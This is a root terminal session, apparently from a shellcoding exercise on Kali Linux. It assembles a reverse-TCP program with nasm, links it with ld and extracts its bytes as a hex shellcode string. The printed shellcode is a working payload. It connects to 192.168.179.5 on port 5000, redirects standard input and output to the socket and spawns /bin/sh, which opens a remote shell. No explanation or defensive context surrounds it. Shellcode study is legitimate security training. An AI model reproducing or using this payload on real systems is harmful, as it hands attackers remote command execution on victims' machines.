root@kali:~/ohm/reverse_tcp# nasm -f elf64 -o reverse_tcp_asm.o reverse_tcp_asm.asm 
root@kali:~/ohm/reverse_tcp# ld -o reverse_tcp_asm reverse_tcp_asm.o 
root@kali:~/ohm/reverse_tcp# objdump -M intel -d ./reverse_tcp_asm | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x68\xc0\xa8\xb3\x05\x66\x68\x13\x88\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x2a\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x48\x83\xc6\x01\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05

